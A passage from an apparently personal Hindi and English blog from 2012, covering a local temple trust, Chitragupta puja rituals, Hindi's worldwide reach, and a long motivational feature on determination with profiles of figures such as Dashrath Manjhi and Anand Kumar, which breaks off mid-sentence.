Saturday, November 24, 2012

***धार्मिक न्यास से जुड़ा सोखा धाम***

इटाढ़ी प्रखंड के कवड़ेसर स्थित सोखा धाम 'बिहार राज्य हिन्दू धार्मिक न्यास पर्षद' से जुड़ गया है। जिससे सोखा बाबा के मंदिर के विकास व रखरखाव का रास्ता साफ हो गया है।
इसकी जानकारी शनिवार को मंदिर परिसर में हुई बैठक में दी गई। जिसमें बताया गया कि 'श्री सोखा बाबा (वीरभद्र) धाम न्यास समिति' के पदेन अध्यक्ष इटाढ़ी के अंचलाधिकारी होंगे। समिति द्वारा जारी प्रेस विज्ञप्ति के मुताबिक केदारनाथ तिवारी को उपाध्यक्ष तथा विजय कुमार तिवारी को सचिव बनाया गया है। वहीं सिद्धनाथ तिवारी को कोषाध्यक्ष की जिम्मेदारी दी गई है। जबकि सुरेन्द्र सिंह, कृष्णकांत तिवारी, कृष्णा मिश्र, चंद्रभूषण पाठक, रमेश राम व राजाराम सिंह को समति का सदस्य बनाया गया है। बैठक में बतौर मुख्य अतिथि आईपीएस गुप्तेश्वर पांडेय  आदि मौजूद थे।

Thursday, November 15, 2012

ॐ श्री चित्रगुप्ताय नमः


Hindu Mythology believes that the entire world, that was created by Lord Bramha, the Creator. Lord Bramha first created 16 Sons from var
ious parts of his own body. Shree Chitraguptjee, his 17th creation, is believed to be the creation from Lord Bramha's belly. Thus, Shree Chitraguptjee is the divine incarnation in human form. Called Kayastha since he is the only one created in entirety [Kaya] from the Lord Bramha's body.

The Duty of Chitragupt Ji Maharaj
Hindu Dharam is based on a multiple phase life cycle involving re-birth. It is believed that those who do not attain a balance between their good-deeds and misdoing, have to attain re-birth in any living form , to complete the life cycle.

The primary duty awarded to Shree Chitraguptjee is to create log of the lives of all living beings, judge their lives based on good-deeds and misdoing, and decide, upon ones death, whether they will attain Nirvana, ie, the completion of their life cycle & redemption from all worldly troubles or, receive punishment for their misdoing in another life form.

Eight Sons of Chitragupta Ji Maharaj
Gorh, Mathur, Bhatnagar, Saxena, Asthana, Srivastava, Ambastha, Karn

Puja Items
Sandalwood Paste, Til, Camphour/Kapoor, Paan, Sugar, Paper, Pen, Ink, Ganga Water, Unbroken Rice, Cotton, Honey, Yellow Mustard, Plate Made Of Leaves, Puja Platform, Dhoop, Youghart, Sweets, Puja Cloths, Milk, Seasonal friuts, Panchpatra, Gulal (Color powder), Brass Katora, Tulsi leaves, Roli, keasar, Betul nut, Match box, Frankincense and Deep.

Puja Process
First clean the Puja room and then Bath Chitragupt Ji's idol or photo first with water, then with panchamitra/or rose water, followed by water once more. Now put Deepak (Lamp) of ghee in front of the Chitragupt Ji. Make a Panchamitra with 5 ingredients of milk, curd, ghee (clarified butter), sugar & Honey. Place Few mithais, snacks & fruits as a prashad. Make Guraadi (Gur + Adi = Molasses + Ginger). Make offerings of flowers, Abir (red colour), Sindoor (vermillion) and Haldi (turmeric). Light the Agarbatti (incense sticks) and lamps filled with Ghee. Read the holy book of Chitragupta puja. After the completion of Katha, perform aarti. Now take plain new paper & make swastik with roli-ghee, then write the name of five god & goddess with a new pen. Then write a "MANTRA (Given Below)" & write your Name, Address (permanent & present), Date (hindi date) your income & expenditure. Then fold the the paper & put before Chitragupt Ji.


Chitragupt Puja and Dawat Puja
Chitragupt Puja is performed by Kayastha Parivar that believes in world peace, justice, knowledge and literacy, the four primary virtues depicted by the form of Shree Chitraguptjee. The puja is also known as Dawat (Inkpot) Puja, in which the books and pen are worshipped, symbolizing the importance of study in the life of a Kayastha. During the Chitragupt Puja, earning members of the also give account of their earning, writing to Chitragupt Maharaj the additional amount of money that is required to run the household, next year.

Thursday, September 20, 2012

दुनिया के 80 करोड़ लोग जानते हैं हिंदी



भारत की राजभाषा हिंदी दुनिया में दूसरी सबसे अधिक बोली जाने वाली भाषा है। बहुभाषी भारत के हिन्दी भाषी राज्यों की आबादी 46 करोड़ से अधिक है। 2011 की जनगणना के मुताबिक भारत की 1.2 अरब आबादी में से 41.03 फीसदी की मातृभाषा हिंदी है।

हिन्दी को दूसरी भाषा के तौर पर इस्तेमाल करने वाले अन्य भारतीयों को मिला लिया जाए तो देश के लगभग 75 प्रतिशत लोग हिन्दी बोल सकते हैं। भारत के इन 75 प्रतिशत हिंदी भाषियों सहित पूरी दुनिया में तकरीबन 80 करोड़ लोग ऐसे हैं जो इसे बोल या समझ सकते हैं।
 
भारत के अलावा इसे नेपाल, मॉरिशस, फिजी, सूरीनाम, यूगांडा, दक्षिण अफ्रीका, कैरिबियन देशों, ट्रिनिडाड एवं टोबेगो और कनाडा आदि में बोलने वालों की अच्छी खासी संख्या है। इसके आलावा इंग्लैंड, अमेरिका, मध्य एशिया में भी इसे बोलने और समझने वाले अच्छे खासे लोग हैं।
 
इसे देखते हुए हिंदी को संयुक्त राष्ट्र की आधिकारिक भाषा बनाने के लिए सरकार की ओर से प्रयास किए जा रहे हैं। वैसे यूनेस्को की सात भाषाओं में हिन्दी पहले से ही शामिल है।
 
वैश्वीकरण और भारत के बढ़ते रूतबे के साथ पिछले कुछ सालों में हिन्दी के प्रति विश्व के लोगों की रूचि खासी बढ़ी है। देश का दूसरे देशों के साथ बढ़ता व्यापार भी इसका एक कारण है।
 
हिन्दी के प्रति दुनिया की बढ़ती चाहत का एक नमूना यही है कि आज विश्व के लगभग डेढ़ सौ विश्वविद्यालयों में हिन्दी पढ़ी और पढ़ाई जा रही है। विभिन्न देशों के 91 विश्वविद्यालयों में हिन्दी चेयर है।
 
इसके बढ़ते रुतबे की एक बानगी यही है कि आज चीन के छह, जर्मनी के सात, ब्रिटेन के चार, अमेरिका के पांच, कनाडा के तीन और रूस, इटली, हंगरी, फ्रांस तथा जापान के दो दो विश्वविद्यालयों सहित तकरीबन 150 विश्वविद्यालयों के पाठ्यक्रमों में यह किसी न किसी रूप में शामिल है।
 
विश्व में हिन्दी के प्रसार को और बढ़ावा देने के उद्देश्य से इस महीने की 22 से 25 तारीख तक दक्षिण अफ्रिका के जोहांसबर्ग में नौंवा विश्व हिन्दी सम्मेलन आयोजित किया गया है। भारत और दक्षिण अफ्रीका की ओर से इसका संयुक्त उद्घाटन होगा।

Wednesday, September 19, 2012

**Happy Ganesh Chaturthi**

Ganesh Chaturth it is the Hindu fastival celebrated on the occasion of birthday of Lord Ganesha

Saturday, September 8, 2012

जिद जिसने बदल दी जिंदगी

जिद नाम है उस हौसले का जिसमें नामुमकिन को मुमकिन बनाने का जुनून हो। बिरले ही होते हैं ऐसे जिद्दी लोग और उनके मजबूत इरादों के सामने दुनिया घुटने टेकने को मजबूर होती है। लगभग 1200  आविष्कार करने वाले अमेरिकी वैज्ञानिक थॉमस अल्वा एडिसन की प्रतिभा को उनके शिक्षक भी पहचान न सके। दिन-रात कल्पना की दुनिया में खोए रहने वाले एडिसन को वे मंदबुद्धि मानते थे। इसी आधार पर उन्हें स्कूल से निकाल दिया गया था। निर्धन परिवार में जन्मे एडिसन  ट्रेन में अखबार  बेच कर गुजारा करते थे। बिजली के बल्ब का आविष्कार करने के दौरान उनके सौ से भी ज्यादा  प्रयास विफल हुए। लोगों ने उनका बहुत मजाक उडाया और उन्हें भविष्य में ऐसा न करने की सलाह दी। फिर भी उन्होंने हार नहीं मानी। अंतत:  जब बल्ब की रौशनी से दुनिया जगमगा उठी तो लोग हैरत में पड गए। एडिसन को अपनी कोशिशों पर पक्का यकीन था। इसीलिए वह अडिग रहे। आसान नहीं होता अपनी बात पर अडिग रहना, पर जिसके इरादों में सच्चाई हो, उसे दुनिया की कोई भी ताकत झुका नहीं सकती।
हौसले की होती है हमेशा जीत
जब भी दृढ इच्छाशक्ति की बात निकलती है तो दुष्यंत कुमार का यह शेर हमें बरबस याद आ जाता है- कैसे आकाश में सूराख हो नहीं सकता/ एक पत्थर तो तबीयत से उछालो यारों..। साधनों की कमी की शिकायत करते हुए खुद कोई प्रयास न करना तो बेहद आसान है। ज्यादातर लोग करते भी यही हैं, लेकिन कुछ ऐसे भी होते हैं, जिनकी इच्छाशक्ति ही उनकी सबसे बडी पूंजी होती है। बिहार के गया जिले के छोटे से गांव गहलौर  के दलित मजदूर दशरथ मांझी की जिद के आगे पर्वत को भी झुकना पडा। उन्होंने राह रोकने वाले पहाड का सीना चीर कर 365  फीट लंबा और 30  फीट चौडा रास्ता बना दिया। दरअसल पहाडी का रास्ता बहुत संकरा और उबड-खाबड  था। उनकी पत्नी उसी रास्ते से पानी भरने जाती थीं। एक रोज उन्हें ठोकर लग गई और वह गिर पडीं। पत्नी के शरीर पर चोट के निशान देख दशरथ को बहुत गुस्सा आया और उन्होंने उसी दम ठान लिया कि अब वह पहाडी को काटकर ऐसा रास्ता बनाएंगे, जिससे किसी को भी ठोकर न लगे। वह हाथों में छेनी-हथौडा लेकर पहाड काटने में जुट गए। तब लोग उन्हें पागल और सनकी समझते थे कि कोई अकेला आदमी पहाड काट सकता है भला! .पर उन्होंने अपनी जिद के आगे किसी की नहीं सुनी। वह रोजाना सुबह से शाम तक अपने काम में जुटे रहते। उन्होंने 1960  में यह काम शुरू किया था और इसे पूरा करने में उन्हें 22  वर्ष लग गए। ..लेकिन अफसोस कि उनका यह काम पूरा होने से कुछ दिनों पहले ही उनकी पत्नी का निधन हो गया। वह अपनी सफलता की यह खुशी उनके साथ बांट न सके। उनकी इस कोशिश से ही बेहद लंबा घुमावदार पहाडी रास्ता छोटा और सुगम हो गया। अब दशरथ इस दुनिया में नहीं हैं पर वह रास्ता आज भी हमें उनके जिद्दी और जुझारू व्यक्तित्व की याद दिलाता है। उनकी दृढ इच्छाशक्ति को सम्मान देते हुए दिल्ली विश्वविद्यालय ने अपने कर्मचारियों के लिए दशरथ मांझी पुरस्कार की शुरुआत की है।
गुस्सा भी होता है अच्छा
जिद की तरह गुस्सा भी हमारी नकारात्मक भावनाओं में शुमार होता है और इन दोनों का बडा ही करीबी रिश्ता है। इस संबंध में मनोवैज्ञानिक सलाहकार डॉ. अशुम गुप्ता कहती हैं, अगर किसी दुर्भावना की वजह से गुस्सा आए और कोई किसी को नुकसान पहुंचाने की जिद करे तो निश्चित रूप से यह खतरनाक  प्रवृत्ति है। इससे इंसान केवल दूसरों का ही नहीं, बल्कि अपना भी अहित कर रहा होता है। हमारी मानसिक संरचना में ये दोनों भावनाएं बिजली की तरह काम करती हैं। अगर सही जगह पर इनका इस्तेमाल किया जाए तो चारों ओर रौशनी फैल सकती है। अगर इनका गलत इस्तेमाल हो तो पल भर में जल कर सब कुछ खाक  हो सकता है। यहां असली मुद्दा नकारात्मक भावनाओं को सकारात्मक ढंग से चैनलाइज  करने का है। अगर बच्चा अपनी मनपसंद चीज लेने की जिद करता है तो बडों को हमेशा उसकी जिद पूरी नहीं करनी चाहिए, बल्कि उससे यह वादा लेना चाहिए कि तुम परीक्षा में अच्छे मा‌र्क्स  लाओ तो तुम्हारी मांग जरूर पूरी की जाएगी। इससे उसे यह एहसास होगा कि बिना मेहनत के कुछ भी हासिल नहीं होता और उसकी जिद पढाई की ओर रुख कर लेगी।
गुस्से के सकारात्मक इस्तेमाल के संदर्भ में चिपको आंदोलन के अग्रणी नेता सुंदर लाल बहुगुणा द्वारा कही गई एक बात बरबस याद आ जाती है, पेड काटने वाले लोगों को देखकर मुझे बहुत ज्यादा गुस्सा आता है। इसलिए मैंने यह संकल्प लिया है कि इतने पेड लाऊंगा कि काटने वाले भले ही थक जाएं, फिर भी हमारी धरती हमेशा हरी-भरी बनी रहे। सच, लाचारी भरी शांति से तो ऐसा गुस्सा हजार गुना बेहतर है, जिससे देश और समाज का भला हो।
दिल पर लगी तो बात बनी
कई बार हमें दुख पहुंचाने वाले या हमारे साथ बुरा बर्ताव करने वाले लोग अनजाने में ही सही, लेकिन हमारी भलाई कर जाते हैं। इस संबंध में डॉ. अशुम  गुप्ता आगे कहती हैं, कई बार दूसरों द्वारा कही गई कडवी बात हमारे लिए शॉक ट्रीटमेंट का काम करती है। ऐसी बातें सुनकर हमारा सोया हुआ जमीर जाग उठता है। फिर हम कई ऐसे मुश्किल काम भी कर गुजरते हैं, जिनके बारे में आमतौर पर सोचना भी असंभव लगता है। जरा सोचिए कि अगर तुलसीदास को अपनी पत्नी रत्नावली की बात दिल पर न लगी होती तो आज हिंदी साहित्य श्रीरामचरितमानस जैसे महाकाव्य से वंचित रह जाता। अगर दक्षिण अफ्रीका के पीट्मेरीज्बर्ग स्टेशन पर उस टीटी ने बैरिस्टर मोहनदास करमचंद  गांधी का सामान ट्रेन की फ‌र्स्ट क्लास की बोगी से बाहर न फेंका होता तो शायद आज भारत का इतिहास कुछ और ही होता।
जब बात हो अपनों की
जिद के साथ कहीं न कहीं अपनों का प्यार और उनकी भावनाएं भी जुडी होती हैं। दिल्ली की मैरी बरुआ का इकलौता बेटा ऑटिज्म से पीडित था। वह दिन-रात उसकी देखभाल में जुटी रहतीं। वह कहती हैं, मेरे लिए मेरा बेटा ही सब कुछ है। मैंने उसकी खातिर ऐसे बच्चों को ट्रेनिंग देने का स्पेशल कोर्स किया। उसी दौरान मुझे यह खयाल आया कि सिर्फ मेरा ही बेटा क्यों.? ऐसे दूसरे बच्चों को भी ट्रेनिंग देकर मैं उन्हें कम से कम इस लायक तो बना दूं कि ये अपने रोजमर्रा के काम खुद करने में सक्षम हों और बडे होने के बाद सामान्य जिंदगी जी सकें। तभी से मैंने ऑटिज्म  से पीडित दूसरे बच्चों की देखभाल शुरू कर दी। इससे मेरे मन को बहुत सुकून  मिलता है। अब जिंदगी से कोई शिकायत नहीं है, बल्कि ऐसा महसूस होता है कि ईश्वर ने मुझे इस काबिल समझा, तभी तो ऐसे बच्चों की जिम्मेदारी मुझे सौंपी है।
फर्क चश्मे का
अकसर हम लोगों के अडियल व्यवहार को नापसंद करते हैं। आकांक्षा जैन एक निजी कंपनी में मार्केटिंग मैनेजर हैं। इस संबंध में उनका कहना हैं, शुरू से मेरी आदत रही है कि अगर मैंने एक बार कोई काम ठान लिया तो चाहे बीच कितनी ही बाधाएं क्यों न आएं मैं उसे पूरा करके ही दम लेती हूं। मेरी इस आदत की वजह से लोग मुझसे नाराज भी होते हैं, पर बाद में जब वह काम अच्छी तरह पूरा हो जाता है तो उन्हें अपनी गलती का एहसास होता है। अडियल या परफेक्शनिस्ट  होने में कोई बुराई नहीं है। अगर हमारा दृष्टिकोण सकारात्मक हो तो हमें लोगों के जिद्दी व्यवहार का अच्छा पहलू भी नजर आएगा। अगर ऐसा न हो तो दूसरों के हर अच्छे व्यवहार में भी बुराई नजर आएगी।
सामाजिक स्वीकृति में दिक्कत
इस संबंध में समाजशास्त्री डॉ. शैलजा  मेनन  कहती हैं, किसी भी समाज में हमेशा वही व्यवहार स्वीकार्य होता है, जिससे सामने वाले व्यक्ति को कोई असहमति न हो। अगर कोई व्यक्ति लीक से हट कर कुछ भी करना चाहता है तो उसके आसपास के लोग उसे सहजता से स्वीकार नहीं पाते और वे ऐसे व्यक्ति को शक की निगाहों से देखते हैं।
अपनी ही धुन में लगे रहने वाले ऐसे क्रिएटिव  लोगों को शुरुआती दौर में अकसर आलोचना का सामना करना पडता है, लेकिन उन पर नकारात्मकबातों का कोई असर नहीं होता। बाद में दुनिया को उनकी काबिलीयत की पहचान होती है और लोग उन्हें सुपर हीरो बना देते हैं, लेकिन तब तक बहुत देर हो चुकी होती है।
महान इटैलियन वैज्ञानिक गैलीलियो  की जिंदगी इसकी सबसे बडी मिसाल है। उन्होंने उस पारंपरिक धारणा का खंडन किया था कि सूर्य पृथ्वी की परिक्रमा करता है। उन्होंने ही सबसे पहले इस बात की खोज की थी कि पृथ्वी सूर्य के चारों ओर घूमती है। आज उसी वेटिकन सिटी के चर्च में उनकी मूर्ति लगाई जा रही है, जहां 400  साल पहले उनकी इस खोज  को धार्मिक ग्रंथों के खिलाफ  बताते हुए उन्हें यातना शिविर में बंद किया गया था और घोर शारीरिक-मानसिक यातनाएं दी गई थीं। अब सदियों बाद अपने इस प्रयास से चर्च अपनी उस पुरानी गलती का पश्चात्ताप करना चाहता है।
सामाजिक स्वीकृति में दिक्कत
जिद्दी और जोशीले लोगों को चुनौतियां स्वीकारना बहुत अच्छा लगता है। इस संबंध में सॉफ्टवेयर इंजीनियर सिद्धार्थ शर्मा का कहना है, हमारे परिवार की आर्थिक स्थिति अच्छी नहीं थी। हमारे पिता बेहद मामूली सी नौकरी करते थे। हम छह भाई-बहनों की परवरिश बहुत मुश्किल थी। मैं इंजीनियर बनना चाहता था, पर मुझे मालूम था कि इसके लिए पिताजी पैसे नहीं जुटा पाएंगे। इसलिए जी जान से पढाई में जुटा रहता। मैंने ठान लिया था कि मैं केवल मेहनत के बल पर अपना सपना साकार करूंगा। बिना किसी कोचिंग के आईआईटी  के लिए मेरा चयन  हो गया। आगे की पढाई का खर्च  मैंने खुद ट्यूशन करके उठाया। आज इंजीनियर बनने से कहीं ज्यादा, मुझे इस बात की खुशी है कि मैंने संसाधनों की कमी के बावजूद विपरीत परिस्थितियों में भी कामयाबी हासिल की है। अगर कामयाबी ज्यादा  मुश्किलें उठाने के बाद मिले तो उसका मजा दोगुना हो जाता है।
विकी रॉय फोटोग्राफर जिद से मिली जीत मैं पश्चिम बंगाल के पुरूलिया जिले का रहने वाला हूं। वहां गरीबी और मामा-मामी की मारपीट से तंग आकर नौ साल की उम्र में घर से भागकर दिल्ली चला आया। फिर यहां कबाड बीनने से लेकर ढाबे में प्लेटें धोने जैसे कई काम किए। एक रोज ढाबे में मुझे स्वयंसेवी संस्था सलाम बालक ट्रस्ट के कार्यकर्ता संजय श्रीवास्तव मिल गए। वह मुझे अपने साथ संस्था में ले गए। वहां रहकर मैंने अपनी स्कूली शिक्षा पूरी की। मुझे नई-नई जगहें देखने का बहुत शौक है। देश-विदेश घूमने के लालच में ही मैंने फोटोग्राफर बनने का निश्चय किया। सबसे पहले मैं फोटोग्राफी के एक वर्कशॉप में शामिल हुआ। वहां इससे जुडी बेसिक बातें सीखने के बाद मैंने अपनी संस्था से इंट्रेस्ट फ्री लोन लेकर एक कैमरा खरीदा। इसी दौरान मेरी मुलाकात ब्रिटिश फोटोग्राफर बिक्सी बेंजामिन से हुई। मुझे उनके साथ रह कर बहुत कुछ सीखने को मिला। पहले अंग्रेजी समझने में मुझे थोडी दिक्कत जरूर होती थी, फिर भी उनकी एक्टिविटीज देखकर मैं काम का सही तरीका समझ जाता था। इस दौरान द.अफ्रीका, वियतनाम, ब्रिटेन और स्विट्जरलैंड में मुझे अपनी तसवीरों की प्रदर्शनी लगाने का मौका मिला। 2009 में मुझे छह महीने के लिए अमेरिका के इंटरनेशनल सेंटर ऑफ फोटोग्राफी में प्रशिक्षण लेने का अवसर मिला। इतना ही नहीं, उन दिनों वहां व‌र्ल्ड ट्रेड सेंटर के रीकंस्ट्रक्शन का काम चल रहा था। मैंने उसकी कुछ ऐसी तसवीरें उतारीं, जिसे कई अंतरराष्ट्रीय फोटो प्रदर्शनियों में शामिल किया गया और लोगों ने उन्हें बहुत पसंद किया। बचपन से ही मैं जिल्लत और जलालत भरी जिंदगी से बाहर निकलने की कोशिश में जुटा था। मुझे ऐसा लगता है कि बिना जिद के कोई भी लडाई जीतना असंभव है। आर्थिक रूप से आत्मनिर्भर बनने के बाद अब मैं मां और छोटे भाई-बहनों की सारी जिम्मेदारियां निभा रहा हूं।
अब भी नहीं सुधरी मैं
प्राची देसाई, अभिनेत्री
बचपन से मेरी एक ही जिद थी कि मुझे ऐक्ट्रेस बनना है। इसी जिद ने मेरी जिंदगी की दिशा बदल दी। हमारे परिवार का फिल्मों से दूर-दूर तक कोई वास्ता नहीं था। इसलिए मुझे तो यह भी पता नहीं था कि मेरा यह सपना कैसे पूरा होगा। मैं पंचगनी के एक बोर्डिग स्कूल में पढाई कर रही थी। इसलिए बाहर की दुनिया के बारे में मुझे कोई खास जानकारी नहीं थी। मुझे तो यह भी नहीं मालूा था कि ऑडिशन कहां और कैसे होते हैं ? अभिनय के सिवा मेरा और कोई फोकस नहीं था। बारहवीं पास करते ही मैंने मॉडलिंग के फील्ड से अपने करियर की शुरुआत की जो छोटे परदे के रास्ते से होते हुए बडे परदे तक पहुंची। बचपन में बहुत जिद्दी और शरारती थी। काफी मार खाई है मैंने, पर अब तक नहीं सुधरी। जब 12 साल की हो गई, तब पेरेंट्स ने मजबूरन मुझ पर हाथ उठाना बंद कर दिया।
जब आप लीक से हटकर कुछ अलग करना चाहते हैं तो आपको उसकी कीमत चुकानी पडती है। इसमें काफी तनाव भी होता है और उससे निकलने का एक ही तरीका है- डिटर्मिनेशन। अगर आपको यकीन है कि आप जो कर रहे हैं, वह सही है तो बात बन जाएगी। मैंने भी यही किया तो अंतत: मुझे कामयाबी मिल ही गई।
जिद ने ही वेटर से ऐक्टर बनाया
बोमन ईरानी, अभिनेता
यह मेरी जिद का ही नतीजा है कि मैं वेटर से ऐक्टर बन गया। मैं उम्र के बत्तीसवें  साल तक मुंबई के होटल ताज में वेटर रहा। इसके बाद फोटोग्राफी शुरू की। पैंतीसवें  साल में थिएटर ग्रुप ज्वाइन किया। 44  साल की उम्र में पहली फिल्म मिली। जब काम मिला, तो सारी दुनिया पहली फिल्म से ही जान गई कि मैं क्या चीज हूं?
यह तो हमेशा से होता आया है कि लीक से हटकर काम करने वालों को समाज का विरोध झेलना पडता है, लेकिन जब आप विजेता बनकर सामने आते हैं तो लोगों की बोलती बंद हो जाती है। अपनी मंजिल को पाने की जिद में कई बार इंसान को दुनियादारी से कटना पडता है, पर इसके लिए परिवार को एतराज नहीं करना चाहिए। यह पार्ट ऑफ द जॉब है। कोई भी इंसान सिर्फ अपने लिए कामयाबी हासिल नहीं करता। इससे उसके परिवार का भी भला होता है। मेरे बच्चे भी मेरी तरह समझदार हैं। इसलिए कभी भी उन्हें डांटने की जरूरत नहीं पडी। वैसे, मेरा मानना है कि जिद्दी बच्चों को डांटने-फटकारने के बजाय अगर प्यार और तर्क से समझाया जाए तो वे विद्रोही नहीं बनते।
इनकी जिद को सलाम
मिल्खा सिंह
एथलीट मिल्खा सिंह जब वह बारह वर्ष के थे, तब देश के विभाजन के दौरान दंगाइयों ने उनके पूरे परिवार को उनकी आंखों के सामने मार डाला। उसके बाद किसी तरह बचते-बचाते भारत पहुंचकर उन्होंने अकेले अपनी जिंदगी शुरू की। तीन कोशिशों के बाद आर्मी में जगह मिली। उसके बाद उन्होंने दिन-रात कडी मेहनत करके प्रैक्टिस की और कामयाब एथलीट के रूप में अपनी पहचान बनाई।
डॉ. आनंदी बाई जोशी
इनकी शादी महज 9  साल की उम्र में हुई थी। आनंदी ने 14  वर्ष की उम्र में ही एक बेटे को जन्म दिया और दस दिनों के बाद ही शिशु की मृत्यु हो गई। इससे आनंदी को इतना दुख पहुंचा कि उन्होंने डॉक्टर बनने को संकल्प लिया और मेडिकल की पढाई करने ब्रिटेन गई और इन्हें देश की पहली लेडी डॉक्टर होने का गौरव प्राप्त हुआ।
जे. के. रॉलिंग
हैरी पॉटर जैसे बेस्ट सेलर सिरीज की लेखिका जे.के. रॉलिंग ने तलाक के बाद अपनी बेटी को पालने के लिए लिखना शुरू किया। वह घर के उदास माहौल से बाहर निकलकर कॉफी हाउस जातीं और वहां बैठकर घंटों लिखती रहतीं। उनकी उस कडी मेहनत का नतीजा सबके सामने है, हैरी पॉटर  की लोकप्रियता के रूप में।
आंग सान सूकी
बर्मा में लोकतंत्र की स्थापना के लिए संघर्षरत नेता आंग सांग सूकी  का जीवन मुश्किलों से भरा रहा। 21 वर्षो तक उन्हें विपक्षियों ने नजरबंद रखा, फिर भी उन्होंने हार नहीं मानी। वह बर्मा में लोकतंत्र बहाली के लिए अब भी लड रही हैं। इस वर्ष उनकी नजरबंदी खत्म हो गई और उन्होंने अपना वह पुराना नोबल पुरस्कार ग्रहण किया, जिसे 1991  में उन्हें अंतरराष्ट्रीय शांति की स्थापना के लिए दिया गया था।
रविंदर कुहार, मॉडल
लिबर्टी, हीरो होंडा,  ली, रिबॉक,  एलजी,  एयर इंडिया..ऐसे अनगिनत ब्रांड हैं, जिनके साथ आज मेरा नाम जुडा है, जो कल तक गुमनाम था। हरियाणा पुलिस में जॉब करते हुए मैं मॉडलिंग कर रहा हूं तो सिर्फ अपनी जिद की वजह से। बचपन में मुझे देख कर अकसर लोग कहते थे कि इसे तो मॉडलिंग  में जाना चाहिए। तभी से मेरे भीतर मॉडल बनने की ख्वाहिश जाग गई। पेरेंट्स  के सामने अपनी इच्छा जाहिर की तो उन्होंने सख्ती  से मना कर किया। पापा का सख्त  अनुशासन मुझे उनसे खुलकर अपनी बात कहने से रोकता था, लेकिन मैं मन ही मन मॉडलिंग की तैयारी में जुट गया। जिम  जाना शुरू किया, तो शायद वह समझ गए। उनका कडा एतराज सामने आया। पापा, भैया और मां सबने कहा कि बेकार के कामों में वक्त  बर्बाद मत करो। अब तक मैं उन्हीं की बात मान रहा था तभी तो पुलिस सर्विस के लिए परीक्षा दी और वहां मेरा चयन भी हो गया, पर मन हमेशा मॉडलिंग की दुनिया में जाने को बेताब रहता। मैंने लंबी छुट्टियां लेकर कई मॉडलिंग असाइनमेंट किए। इस पर मेरे माता-पिता नाराज भी हुए। वह मेरे जीवन का सबसे बुरा दौर था। मैंने दो-तीन महीने आर्थिक तंगी में गुजारे, पर अपनी जिद का साथ नहीं छोडा। इसी से मुझे हौसला मिलता था।
मैंने अपना शौक पूरा करने के लिए बहुत मुश्किलें उठाई। फिर भी यह सोचकर मुझे संतुष्टि मिलती है कि मैंने अपने माता-पिता की इच्छा का मान रखते हुए अपनी जिद पूरी कर ली, हालांकि दो नावों की यह सवारी बहुत मुश्किल है। देखें कब तक चलती है?
नकारे जाने के बावजूद टिके रहने की जिद
नवाजुद्दीन सिद्दीकी, अभिनेता
मैं यूपी  के बुढाना इलाके के संपन्न किसान परिवार से ताल्लुक रखता हूं। वहां जितना गन्ना होता है, उतनी ही हत्याएं, डकैती और ऑनर  किलिंग  भी होती हैं। वहीं से नौकरी ढूंढने दिल्ली आया, लेकिन नौकरी नहीं मिली। मैं 1996 से ही थिएटर और फिल्मों की दुनिया जुडा हूं। एनएसडी  का स्टूडेंट रह चुका हूं। इतना होने के बावजूद पहला ब्रेक छह साल बाद मिला। वह भी एक विज्ञापन फिल्म में, जिसमें सचिन आया रे भइया गाते हुए मैं कपडा पीट रहा था। वहां से लेकर कहानी, पान सिंह तोमर और गैंग्स ऑफ वासेपुर तक के सफर में लंबी उदासियां और जलता हुआ गुस्सा है। ढेर सारा कॉन्फिडेंस  है। बार-बार नकारे जाने के बावजूद टिके रहने की जिद है। गांव में हुई परवरिश ने मुझे बेहद मेहनती और अनुशासित बना दिया है। अपनी मां को मैं दिन-रात कडी मेहनत करते देखता था। शायद, उन्हीं का असर मुझमें आया है। संघर्ष के दिनों में कई बार ऐसी भी नौबत आई कि मैं साल भर तक परिवार से संपर्क नहीं कर पाता था। उन्हें किस मुंह से बताता कि मैं कुछ भी नहीं कर पा रहा। फिर भी मैंने अपना मनोबल टूटने नहीं दिया। आज मैं बहुत खुश हूं कि देर से ही सही, पर मेरी मेहनत रंग लाई।
बचपन से जिद्दी हूं मैं
प्रियंका चोपडा, अभिनेत्री
अमेरिका से भारत वापस आने के निर्णय ने मेरी जिंदगी की दिशा बदल दी। तब मैं 15 साल की थी और वहां पढाई कर रही थी। तभी मुझे ऐसा लगा कि यह जगह मेरे लिए सही नहीं है और यहां रह कर मुझे करियर नहीं बनाना। फिर बिना देर किए मैंने इंडिया आने का फैसला कर लिया। बचपन से ही मैं बहुत जिद्दी थी। इसीलिए मम्मी मुझ पर बहुत नाराज होती थीं, लेकिन पापा प्यार से समझाते थे। मैं शुरू से उनके ज्यादा करीब रही हूं। मैं मानती हूं कि जब तक आप किसी को नुकसान न पहुंचाएं, उस हद तक जिद्दी होने में कोई बुराई नहीं है। अगर आप माता-पिता की इच्छा के खिलाफ कोई काम करते हैं, तो उनकी नाराजगी झेलने को तैयार रहें, लेकिन आपके अंदर इतनी कुव्वत होनी चाहिए कि आप खुद को साबित कर सकें। मेरी सबसे बडी खासियत है, मैं परिवार को साथ लेकर चलती हूं और सारे दोस्तों से भी यही कहती हूं कि अगर आपका परिवार आपके साथ नहीं है तो आप सफल होकर भी नाकाम हैं। मैं बहुत खुश होऊंगी अगर मेरे बच्चे मुझसे जिद करेंगे और भरसक कोशिश करूंगी कि उनकी हर डिमांड पूरी करूं। क्योंकि मेरे पापा ने मेरी हर जिद पूरी की है।
जिद करो, दुनिया बदलो
आनंद कुमार, संस्थापक सुपर 30
जिद न की होती तो शायद मैं यहां खडा नहीं होता। आर्थिक तंगी की वजह से जब मेरा दाखिला कैंब्रिज यूनिवर्सिटी में न हो सका तो निराशा हुई, लेकिन मैं हारा नहीं। मेरा लक्ष्य गणितज्ञ और शिक्षक बनना था, मैं उसी पर डटा रहा। सुपर 30  की स्थापना के समय लोगों ने यह कह कर मेरा मजाक उडाया था कि क्या कोई ऐसा कोचिंग संस्थान हो सकता है जिसके सभी विद्यार्थी भारत की सर्वोच्च इंजीनियरिंग परीक्षा पास कर जाएं, वह भी नि:शुल्क। मैंने ऐसी आलोचनाओं का जवाब जल्द ही दे दिया, जब पहले ही वर्ष संस्थान के 30  में से 18  निर्धन छात्रों ने यह परीक्षा पास की। शिक्षा माफिया के दबंग लोगों की धमकी मिली पर मैं रुका नहीं। मां ने समझाया, पत्नी ने भी बहुत कहा, पर मैं अपनी जिद पर डटा हुआ हूं। आज इस संस्थान से लगभग शत-प्रतिशत छात्र आईआईटी निकालते हैं। यही मेरी सबसे बडी ताकत है। जब निराश होता हूं, तो अपने छात्रों की कामयाबी मुझे फिर से काम करने के लिए प्रेरित करती है। मैं दिन-रात अपने काम में जुटा रहता हूं। मेरा मानना है कि अगर आप जिद करें और 